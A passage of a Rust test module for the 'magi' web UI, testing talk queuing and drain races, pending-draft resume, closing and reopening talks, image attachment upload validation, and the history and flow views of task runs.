16028    /// and finds it busy, before the reclaim's slot-free case could be set up
16029    /// underneath it. That assumed a fixed number of polls lands at a fixed
16030    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16031    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16032    /// poll, so any number of this handler's several `blocking` awaits can
16033    /// collapse into one poll under load, landing the drive somewhere other
16034    /// than intended - including, occasionally, straight past the handler's
16035    /// own completion, which made polling it again panic with "async fn
16036    /// resumed after completion". No poll count fixes that; the handler's
16037    /// progress simply is not something a caller outside it can observe by
16038    /// counting.
16039    ///
16040    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16041    /// inside the write itself, so the interleaving under test is pinned by
16042    /// an event instead of a guess: the gate fires only once the handler has
16043    /// actually decided `Busy` and is about to persist the draft, and it
16044    /// blocks that write until the test lets it through. Between those two
16045    /// moments the test drains the turn the handler found busy - through
16046    /// `drain_loop`, the protocol's other half - and then aborts the handler
16047    /// task outright, the same way axum drops a disconnected request's
16048    /// future. The write, and the reclaim it may do, run to completion
16049    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16050    /// to the runtime before ever touching the gate, wholly independent of
16051    /// whether the handler that started it is still around - which is what
16052    /// this test is actually checking. A drainer other than that reclaim
16053    /// cannot exist here: the test's own `drain_loop` call happens before the
16054    /// gate opens, so it runs while the queue is still empty and hands the
16055    /// turn straight back rather than draining anything, closing off the
16056    /// possibility of the final assertion passing without the reclaim ever
16057    /// having done its job.
16058    #[tokio::test]
16059    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16060        let tmp = TempDir::new().expect("tempdir");
16061        let repo = tmp.path().join("repo");
16062        std::fs::create_dir_all(&repo).expect("repo dir");
16063        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16064        let home = TempDir::new().expect("temp home");
16065        let talks = Talks::at(home.path().join("talks"));
16066        let ui = Arc::new(
16067            Ui::new(
16068                Queue::at(home.path().join("queue")),
16069                Questions::at(home.path().join("questions")),
16070                talks.clone(),
16071                home.path().join("runs"),
16072                home.path().to_path_buf(),
16073                repo.clone(),
16074            )
16075            .with_worktrees_root(home.path().join("wt")),
16076        );
16077        let cfg = config_for(&repo).await.expect("discover config");
16078
16079        for attempt in 0..3u32 {
16080            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16081            let id = talk.id.clone();
16082            // A turn is already running, which is what sends `talk_say` down
16083            // the busy branch.
16084            let turn_guard = ui
16085                .begin_talk_turn(&id)
16086                .expect("claim the turn")
16087                .expect("a fresh talk owes nobody a turn");
16088
16089            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16090            let (release_tx, release_rx) = std::sync::mpsc::channel();
16091            ui.set_busy_queue_gate(BusyQueueGate {
16092                reached: reached_tx,
16093                release: release_rx,
16094            });
16095
16096            let handler = tokio::spawn(talk_say(
16097                State(Arc::clone(&ui)),
16098                Path(id.clone()),
16099                Ok(Json(NewTalkTurn {
16100                    reply_to: None,
16101                    text: "what does the queue module do?".to_owned(),
16102                    attachments: Vec::new(),
16103                })),
16104            ));
16105
16106            // Wait for the busy branch to actually reach the gate, rather
16107            // than for any fixed number of polls of anything - a bounded
16108            // wait rather than a bare `.await` so a regression that never
16109            // reaches the gate fails the test instead of hanging it.
16110            tokio::time::timeout(Duration::from_secs(5), reached_rx)
16111                .await
16112                .unwrap_or_else(|_| {
16113                    panic!(
16114                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16115                    )
16116                })
16117                .expect("the busy branch dropped the gate without using it");
16118            assert!(
16119                crate::chat_worker::try_publication_guard(&talks, &id)
16120                    .expect("publication fence")
16121                    .is_none(),
16122                "a queued worker cannot promote text before its successor reservation is published"
16123            );
16124
16125            // A listener replacement queues its writer behind this accepted
16126            // mutation. Even disconnecting the HTTP caller must not release
16127            // admission before the write-to-worker handoff has completed.
16128            let closing = Arc::clone(&ui.admissions).write_owned();
16129            tokio::pin!(closing);
16130            std::future::poll_fn(|cx| {
16131                assert!(closing.as_mut().poll(cx).is_pending());
16132                std::task::Poll::Ready(())
16133            })
16134            .await;
16135            assert!(
16136                ui.begin_admission().is_err(),
16137                "replacement blocks later admissions"
16138            );
16139
16140            // The turn that was running now finishes and gives the slot up
16141            // the way a real one does - through `drain_loop`, which finds
16142            // nothing queued yet (the write is still held at the gate) and
16143            // releases. The handler, parked inside `spawn_blocking` on the
16144            // other side of the gate, still believes the talk is busy -
16145            // exactly the interleaving the reclaim exists for.
16146            let running = talks.get(&id).expect("reload talk");
16147            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16148
16149            // Drop the handler future now, the way a reloading phone drops
16150            // it: suspended waiting on the busy branch's answer, having
16151            // itself made no more progress since it handed the write off.
16152            handler.abort();
16153            let _ = handler.await;
16154            std::future::poll_fn(|cx| {
16155                assert!(
16156                    closing.as_mut().poll(cx).is_pending(),
16157                    "HTTP cancellation must not abandon a publishing transaction"
16158                );
16159                std::task::Poll::Ready(())
16160            })
16161            .await;
16162            assert!(
16163                crate::chat_worker::try_publication_guard(&talks, &id)
16164                    .expect("publication fence after disconnect")
16165                    .is_none()
16166            );
16167
16168            // Only now let the gated write proceed. It persists the draft
16169            // and reclaims the now-free slot from inside the task the busy
16170            // branch already spawned - unaffected by the handler's abort
16171            // above, since that task was independent of the handler's own
16172            // future from the moment it was spawned.
16173            let _ = release_tx.send(());
16174            drop(
16175                tokio::time::timeout(Duration::from_secs(5), closing)
16176                    .await
16177                    .expect("short admission transaction should release for replacement"),
16178            );
16179            assert!(
16180                crate::chat_worker::try_publication_guard(&talks, &id)
16181                    .expect("publication fence after acknowledgement")
16182                    .is_some(),
16183                "the publication fence is not retained by the long response"
16184            );
16185
16186            // A settled talk: the draft drained into an operator turn and
16187            // answered.
16188            let mut fresh = talks.get(&id).expect("reload talk");
16189            for _ in 0..SETTLE_STEPS {
16190                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16191                    break;
16192                }
16193                tokio::time::sleep(Duration::from_millis(10)).await;
16194                fresh = talks.get(&id).expect("reload talk");
16195            }
16196            assert!(
16197                fresh.pending.is_empty() && fresh.turns.len() == 2,
16198                "attempt {attempt}: talk {id} left the operator's text queued \
16199                 with no drainer - the reclaimed turn was dropped along with \
16200                 the handler future (pending {:?}, {} turns)",
16201                fresh.pending,
16202                fresh.turns.len()
16203            );
16204        }
16205    }
16206
16207    #[tokio::test]
16208    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16209        let (_tmp, _repo, f) = talk_fixture().await;
16210        let id = f.post("/api/talks", None).await.json()["id"]
16211            .as_str()
16212            .expect("id")
16213            .to_owned();
16214        let store = f.talks();
16215        let mut recovered = store.get(&id).expect("opened talk");
16216        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16217            .expect("persist pending draft without a live turn");
16218
16219        let edited = f
16220            .post(
16221                &format!("/api/talks/{id}/pending/edit"),
16222                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16223            )
16224            .await;
16225        assert_eq!(edited.status, 200, "{}", edited.body);
16226        assert!(edited.json()["thinking"].as_bool().unwrap());
16227
16228        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16229        for _ in 0..SETTLE_STEPS {
16230            if detail["turns"].as_array().expect("turns").len() == 2 {
16231                break;
16232            }
16233            tokio::time::sleep(Duration::from_millis(10)).await;
16234            detail = f.get(&format!("/api/talks/{id}")).await.json();
16235        }
16236        let turns = detail["turns"].as_array().expect("turns");
16237        assert_eq!(
16238            turns.len(),
16239            2,
16240            "the recovered draft must run once: {detail}"
16241        );
16242        assert_eq!(turns[0]["body"], "corrected");
16243        assert_eq!(detail["pending"], "");
16244    }
16245
16246    #[tokio::test]
16247    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16248        let tmp = TempDir::new().expect("tempdir");
16249        let repo = tmp.path().join("repo");
16250        std::fs::create_dir_all(&repo).expect("repo dir");
16251        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16252        let f = Fixture::with_repo(repo).await;
16253        let id = f.post("/api/talks", None).await.json()["id"]
16254            .as_str()
16255            .expect("id")
16256            .to_owned();
16257        let store = f.talks();
16258        let mut recovered = store.get(&id).expect("opened talk");
16259        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16260            .expect("persist pending draft without a live turn");
16261
16262        let refused = f
16263            .post(
16264                &format!("/api/talks/{id}/say"),
16265                Some(r#"{"text":"new message"}"#),
16266            )
16267            .await;
16268        assert_eq!(refused.status, 409, "{}", refused.body);
16269        assert!(refused.body.contains("resume"), "{}", refused.body);
16270        let saved = store.get(&id).expect("draft remains after refusal");
16271        assert!(saved.turns.is_empty());
16272        assert_eq!(saved.pending, "saved before restart");
16273
16274        let say_path = format!("/api/talks/{id}/say");
16275        let (first, second) = tokio::join!(
16276            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16277            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16278        );
16279        assert_eq!(first.status, 409, "{}", first.body);
16280        assert_eq!(second.status, 409, "{}", second.body);
16281        let saved = store
16282            .get(&id)
16283            .expect("draft remains after concurrent refusals");
16284        assert!(saved.turns.is_empty());
16285        assert_eq!(saved.pending, "saved before restart");
16286
16287        let resumed = f
16288            .post(&format!("/api/talks/{id}/pending/resume"), None)
16289            .await;
16290        assert_eq!(resumed.status, 202, "{}", resumed.body);
16291        let duplicate = f
16292            .post(&format!("/api/talks/{id}/pending/resume"), None)
16293            .await;
16294        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16295
16296        for _ in 0..SETTLE_STEPS {
16297            if store.get(&id).expect("talk").turns.len() == 2 {
16298                break;
16299            }
16300            tokio::time::sleep(Duration::from_millis(10)).await;
16301        }
16302        let finished = store.get(&id).expect("finished talk");
16303        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16304        assert_eq!(finished.turns[0].body, "saved before restart");
16305        assert!(finished.pending.is_empty());
16306    }
16307
16308    #[tokio::test]
16309    async fn an_image_only_recovered_draft_resumes_without_text() {
16310        let (_tmp, _repo, f) = talk_fixture().await;
16311        let id = f.post("/api/talks", None).await.json()["id"]
16312            .as_str()
16313            .expect("id")
16314            .to_owned();
16315        let uploaded = f
16316            .post_bytes(
16317                &format!("/api/talks/{id}/attachments"),
16318                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16319                PNG_BYTES,
16320            )
16321            .await;
16322        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16323        let attachment = f
16324            .talks()
16325            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16326            .expect("attachment metadata")
16327            .expect("stored attachment");
16328        let store = f.talks();
16329        let mut recovered = store.get(&id).expect("opened talk");
16330        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16331
16332        let resumed = f
16333            .post(&format!("/api/talks/{id}/pending/resume"), None)
16334            .await;
16335        assert_eq!(resumed.status, 202, "{}", resumed.body);
16336        for _ in 0..SETTLE_STEPS {
16337            if store.get(&id).expect("talk").turns.len() == 2 {
16338                break;
16339            }
16340            tokio::time::sleep(Duration::from_millis(10)).await;
16341        }
16342        let finished = store.get(&id).expect("finished talk");
16343        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16344        assert!(finished.turns[0].body.is_empty());
16345        assert_eq!(finished.turns[0].attachments.len(), 1);
16346        assert!(finished.pending_attachments.is_empty());
16347    }
16348
16349    #[tokio::test]
16350    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16351        let (_tmp, _repo, f) = talk_fixture().await;
16352        let id = f.post("/api/talks", None).await.json()["id"]
16353            .as_str()
16354            .expect("id")
16355            .to_owned();
16356        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16357        assert_eq!(closed.status, 200, "{}", closed.body);
16358        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16359            .expect("serialize closed talk");
16360        for (path, body) in [
16361            (format!("/api/talks/{id}/pending/resume"), None),
16362            (
16363                format!("/api/talks/{id}/pending/clear"),
16364                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16365            ),
16366            (
16367                format!("/api/talks/{id}/pending/edit"),
16368                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16369            ),
16370            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16371        ] {
16372            let response = f.post(&path, body).await;
16373            assert_eq!(response.status, 409, "{}", response.body);
16374        }
16375        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16376            .expect("serialize closed talk");
16377        assert_eq!(
16378            after_clear, before_clear,
16379            "clear must not rewrite a closed talk"
16380        );
16381    }
16382
16383    /// Keeps both claims observable long enough to exercise the distinction
16384    /// between one busy talk and a globally locked Chat surface.
16385    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16386
16387    #[tokio::test]
16388    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16389        let tmp = TempDir::new().expect("tempdir");
16390        let repo = tmp.path().join("repo");
16391        std::fs::create_dir_all(&repo).expect("repo dir");
16392        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16393        let f = Fixture::with_repo(repo).await;
16394        let id_a = f.post("/api/talks", None).await.json()["id"]
16395            .as_str()
16396            .unwrap()
16397            .to_owned();
16398        let id_b = f.post("/api/talks", None).await.json()["id"]
16399            .as_str()
16400            .unwrap()
16401            .to_owned();
16402
16403        let a = f
16404            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16405            .await;
16406        assert_eq!(a.status, 202, "{}", a.body);
16407        assert_eq!(a.json()["thinking"], true);
16408        let b = f
16409            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16410            .await;
16411        assert_eq!(b.status, 202, "{}", b.body);
16412        assert_eq!(b.json()["thinking"], true);
16413
16414        let listed = f.get("/api/talks").await.json();
16415        for id in [&id_a, &id_b] {
16416            let view = listed
16417                .as_array()
16418                .unwrap()
16419                .iter()
16420                .find(|talk| talk["id"] == *id)
16421                .unwrap();
16422            assert_eq!(view["thinking"], true, "{listed}");
16423        }
16424        let repeated = f
16425            .post(
16426                &format!("/api/talks/{id_a}/say"),
16427                Some(r#"{"text":"again"}"#),
16428            )
16429            .await;
16430        assert_eq!(repeated.status, 202, "{}", repeated.body);
16431        assert_eq!(repeated.json()["pending"], "again");
16432    }
16433
16434    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16435    /// few more, since real uploads are never exactly eight bytes.
16436    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16437
16438    #[tokio::test]
16439    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16440        let f = Fixture::start().await;
16441        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16442
16443        let res = f
16444            .post_bytes(
16445                &format!("/api/talks/{id}/attachments"),
16446                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16447                PNG_BYTES,
16448            )
16449            .await;
16450        assert_eq!(res.status, 201, "{}", res.body);
16451        let body = res.json();
16452        assert_eq!(body["name"], "shot.png");
16453        assert_eq!(body["mime"], "image/png");
16454        assert_eq!(body["bytes"], PNG_BYTES.len());
16455        let att_id = body["id"].as_str().expect("id").to_owned();
16456        assert_eq!(
16457            att_id.len(),
16458            32,
16459            "the id must never be a client-suppliable path: {att_id}"
16460        );
16461
16462        let got = f
16463            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16464            .await;
16465        assert_eq!(got.status, 200, "{}", got.body);
16466        assert_eq!(got.header("content-type"), Some("image/png"));
16467        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16468        assert_eq!(got.bytes, PNG_BYTES);
16469    }
16470
16471    #[tokio::test]
16472    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16473        let f = Fixture::start().await;
16474        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16475
16476        // SVG can carry a `<script>`, so it is never on the whitelist even
16477        // though it is a real IANA image type.
16478        let svg = f
16479            .post_bytes(
16480                &format!("/api/talks/{id}/attachments"),
16481                &[("Content-Type", "image/svg+xml")],
16482                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16483            )
16484            .await;
16485        assert!(
16486            (400..500).contains(&svg.status),
16487            "svg must be refused: {} {}",
16488            svg.status,
16489            svg.body
16490        );
16491        assert!(svg.body.contains("SVG"), "{}", svg.body);
16492
16493        let text = f
16494            .post_bytes(
16495                &format!("/api/talks/{id}/attachments"),
16496                &[("Content-Type", "text/plain")],
16497                b"just some text",
16498            )
16499            .await;
16500        assert!(
16501            (400..500).contains(&text.status),
16502            "an unlisted type must be refused: {} {}",
16503            text.status,
16504            text.body
16505        );
16506
16507        // The declared type is a real png, but the size check runs before
16508        // the bytes are even looked at.
16509        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16510        let big = f
16511            .post_bytes(
16512                &format!("/api/talks/{id}/attachments"),
16513                &[("Content-Type", "image/png")],
16514                &oversized,
16515            )
16516            .await;
16517        assert_eq!(
16518            big.status,
16519            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16520            "{}",
16521            big.body
16522        );
16523    }
16524
16525    #[tokio::test]
16526    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16527        let f = Fixture::start().await;
16528        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16529
16530        // A whitelisted `Content-Type`, but bytes that are not actually a
16531        // png - the declared header alone is never trusted.
16532        let res = f
16533            .post_bytes(
16534                &format!("/api/talks/{id}/attachments"),
16535                &[("Content-Type", "image/png")],
16536                b"<html>not a picture</html>",
16537            )
16538            .await;
16539        assert!((400..500).contains(&res.status), "{}", res.body);
16540    }
16541
16542    #[tokio::test]
16543    async fn an_unknown_attachment_id_is_a_404() {
16544        let f = Fixture::start().await;
16545        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16546
16547        let res = f
16548            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16549            .await;
16550        assert_eq!(res.status, 404, "{}", res.body);
16551    }
16552
16553    #[tokio::test]
16554    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16555        let f = Fixture::start().await;
16556        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16557
16558        let uploaded = f
16559            .post_bytes(
16560                &format!("/api/talks/{id}/attachments"),
16561                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16562                PNG_BYTES,
16563            )
16564            .await;
16565        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16566        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16567
16568        let res = f
16569            .post(
16570                &format!("/api/talks/{id}/say"),
16571                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16572            )
16573            .await;
16574        assert_eq!(res.status, 202, "{}", res.body);
16575        let queued = res.json();
16576        let turns = queued["turns"].as_array().expect("turns array");
16577        assert_eq!(
16578            turns.len(),
16579            1,
16580            "an empty body with an attachment is still a turn: {queued}"
16581        );
16582        assert_eq!(turns[0]["who"], "operator");
16583        assert_eq!(turns[0]["body"], "");
16584        let atts = turns[0]["attachments"]
16585            .as_array()
16586            .expect("attachments array");
16587        assert_eq!(atts.len(), 1);
16588        assert_eq!(atts[0]["id"], att_id);
16589        assert_eq!(atts[0]["mime"], "image/png");
16590
16591        // Not only in the response: `record` flushes to disk before the
16592        // agent's own turn is even spawned.
16593        let on_disk = f.talks().get(&id).expect("get");
16594        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16595        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16596    }
16597
16598    #[tokio::test]
16599    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16600        let f = Fixture::start().await;
16601        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16602
16603        let res = f
16604            .post(
16605                &format!("/api/talks/{id}/say"),
16606                Some(&format!(
16607                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16608                    "a".repeat(32)
16609                )),
16610            )
16611            .await;
16612        assert!((400..500).contains(&res.status), "{}", res.body);
16613        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16614
16615        let on_disk = f.talks().get(&id).expect("get");
16616        assert!(
16617            on_disk.turns.is_empty(),
16618            "a rejected attachment id must not partially record the turn: {:?}",
16619            on_disk.turns
16620        );
16621    }
16622
16623    #[tokio::test]
16624    async fn talk_close_makes_the_talk_refuse_further_turns() {
16625        let f = Fixture::start().await;
16626        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16627
16628        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16629        assert_eq!(closed.status, 200, "{}", closed.body);
16630        assert_eq!(closed.json()["status"], "closed");
16631
16632        // Idempotent: closing an already-closed talk is not an error.
16633        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16634        assert_eq!(closed_again.status, 200);
16635        assert_eq!(closed_again.json()["status"], "closed");
16636
16637        let said = f
16638            .post(
16639                &format!("/api/talks/{id}/say"),
16640                Some(r#"{"text":"too late"}"#),
16641            )
16642            .await;
16643        assert_eq!(said.status, 409, "{}", said.body);
16644    }
16645
16646    #[tokio::test]
16647    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16648        let (_tmp, _repo, f) = talk_fixture().await;
16649        let id = f.post("/api/talks", None).await.json()["id"]
16650            .as_str()
16651            .expect("id")
16652            .to_owned();
16653        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16654        assert_eq!(closed.status, 200, "{}", closed.body);
16655
16656        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16657        assert_eq!(reopened.status, 200, "{}", reopened.body);
16658        assert_eq!(reopened.json()["status"], "open");
16659
16660        // Idempotent: reopening an already-open talk is not an error.
16661        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16662        assert_eq!(reopened_again.status, 200);
16663        assert_eq!(reopened_again.json()["status"], "open");
16664
16665        let said = f
16666            .post(
16667                &format!("/api/talks/{id}/say"),
16668                Some(r#"{"text":"still there?"}"#),
16669            )
16670            .await;
16671        assert_eq!(
16672            said.status, 202,
16673            "a reopened talk accepts turns again: {}",
16674            said.body
16675        );
16676    }
16677
16678    #[tokio::test]
16679    async fn talk_reopen_on_an_unknown_id_is_404() {
16680        let f = Fixture::start().await;
16681        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16682        assert_eq!(res.status, 404, "{}", res.body);
16683    }
16684
16685    #[tokio::test]
16686    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16687        let f = Fixture::start().await;
16688        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16689
16690        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16691        assert_eq!(deleted.status, 204, "{}", deleted.body);
16692
16693        let after = f.get(&format!("/api/talks/{id}")).await;
16694        assert_eq!(after.status, 404, "{}", after.body);
16695
16696        let listed = f.get("/api/talks").await.json();
16697        assert!(
16698            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16699            "a deleted talk must not linger in the list: {listed}"
16700        );
16701    }
16702
16703    #[tokio::test]
16704    async fn talk_delete_on_an_unknown_id_is_404() {
16705        let f = Fixture::start().await;
16706        let res = f.delete("/api/talks/nonexistent-id").await;
16707        assert_eq!(res.status, 404, "{}", res.body);
16708    }
16709
16710    /// A task's page lists every run it ever had, in order, and says what kind
16711    /// of attempt each was - including a resume, which re-pushes the same run
16712    /// id, and a run whose record this build cannot read.
16713    #[tokio::test]
16714    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16715        let f = Fixture::start().await;
16716        let (a, b, gone) = (
16717            "20260902-140501-aaaa",
16718            "20260902-140502-bbbb",
16719            "20260902-140503-cccc",
16720        );
16721        write_run(&f.runs(), a, RunStatus::Stalled);
16722        let mut review = RunState::new(
16723            PathBuf::from("/repo/magi"),
16724            "main".to_owned(),
16725            "0123456789abcdef".to_owned(),
16726            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16727                .to_owned(),
16728            Config::default(),
16729        );
16730        review.id = b.to_owned();
16731        review.status = RunStatus::Merged;
16732        write_state(&f.runs(), &review);
16733
16734        let mut task = Task::new(
16735            "retry".to_owned(),
16736            "Do the thing".to_owned(),
16737            PathBuf::from("/repo/magi"),
16738            Source::Human,
16739        );
16740        task.start(a.to_owned());
16741        task.stall("quota");
16742        task.start(a.to_owned());
16743        task.start(b.to_owned());
16744        task.start(gone.to_owned());
16745        // This fixture models an older queue file with repeated run entries.
16746        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16747        f.queue().put(&mut task).expect("file the task");
16748
16749        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16750        assert_eq!(res.status, 200, "{}", res.body);
16751        let v = res.json();
16752        let h = v["history"].as_array().expect("history");
16753        assert_eq!(h.len(), 4, "{v}");
16754        assert_eq!(h[0]["kind"], "competition");
16755        assert_eq!(h[0]["status"], "stalled");
16756        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16757        assert_eq!(h[1]["kind"], "resume", "{v}");
16758        assert!(
16759            h[0]["outcome"]
16760                .as_str()
16761                .unwrap()
16762                .contains("unknown. Pass #2"),
16763            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16764        );
16765        assert!(
16766            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16767            "{v}"
16768        );
16769        assert!(
16770            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16771            "an unrecorded cause must not be narrated as an operator park: {v}"
16772        );
16773        assert_eq!(h[2]["kind"], "review");
16774        assert!(
16775            h[2]["description"]
16776                .as_str()
16777                .unwrap()
16778                .contains("magi/aaaa/A")
16779        );
16780        assert_eq!(h[2]["status"], "merged");
16781        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16782        assert_eq!(v["runs_unreadable"], 1);
16783        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16784        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16785        assert_eq!(nodes[4]["note"], "unreadable");
16786        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16787        assert_eq!(v["instruction"], "Do the thing");
16788        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16789
16790        // The run's own page links back to the task.
16791        let run = f.get(&format!("/api/runs/{a}")).await.json();
16792        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16793
16794        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16795    }
16796
16797    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16798        let mut s = RunState::new(
16799            PathBuf::from("/repo/magi"),
16800            "main".to_owned(),
16801            "0123456789abcdef".to_owned(),
16802            "Do it".to_owned(),
16803            Config::default(),
16804        );
16805        s.status = status;
16806        edit(&mut s);
16807        s
16808    }
16809
16810    fn flow_task(runs: &[&str]) -> Task {
16811        let mut t = Task::new(
16812            "t".to_owned(),
16813            "Do it".to_owned(),
16814            PathBuf::from("/repo/magi"),
16815            Source::Human,
16816        );
16817        for r in runs {
16818            t.start((*r).to_owned());
16819        }
16820        // Synthetic flows without RunPass records model legacy queue data.
16821        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16822        t
16823    }
16824
16825    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16826        let h = task_history(task, |id| {
16827            states
16828                .iter()
16829                .find(|(i, _)| *i == id)
16830                .and_then(|(_, s)| s.clone())
16831        });
16832        task_flow(task, &h, 5, None)
16833    }
16834
16835    #[test]
16836    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16837        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16838        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16839        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16840        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16841        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16842        let run = flow_run(RunStatus::Implementing, |s| {
16843            s.created_at = created;
16844            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16845            s.passes[0].started_at = first;
16846            s.passes[1].started_at = resumed;
16847        });
16848        let mut task = flow_task(&[RUN_X, RUN_X]);
16849        task.created_at = queued;
16850        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16851        task.status = TaskStatus::Held;
16852        task.held_at = Some(held);
16853        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16854        assert_eq!(
16855            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16856            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16857        );
16858        assert!(flow.nodes.iter().all(|n| n.time_expected));
16859        let json = serde_json::to_value(&flow).unwrap();
16860        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16861        assert_eq!(json["nodes"][2]["time_expected"], true);
16862    }
16863
16864    #[test]
16865    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16866        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16867        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16868        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16869        // These timestamps are not the start of the current status.
16870        task.held_at = Some(created);
16871        task.blocked_at = Some(created);
16872        for status in [
16873            TaskStatus::Queued,
16874            TaskStatus::Running,
16875            TaskStatus::Blocked,
16876            TaskStatus::Done,
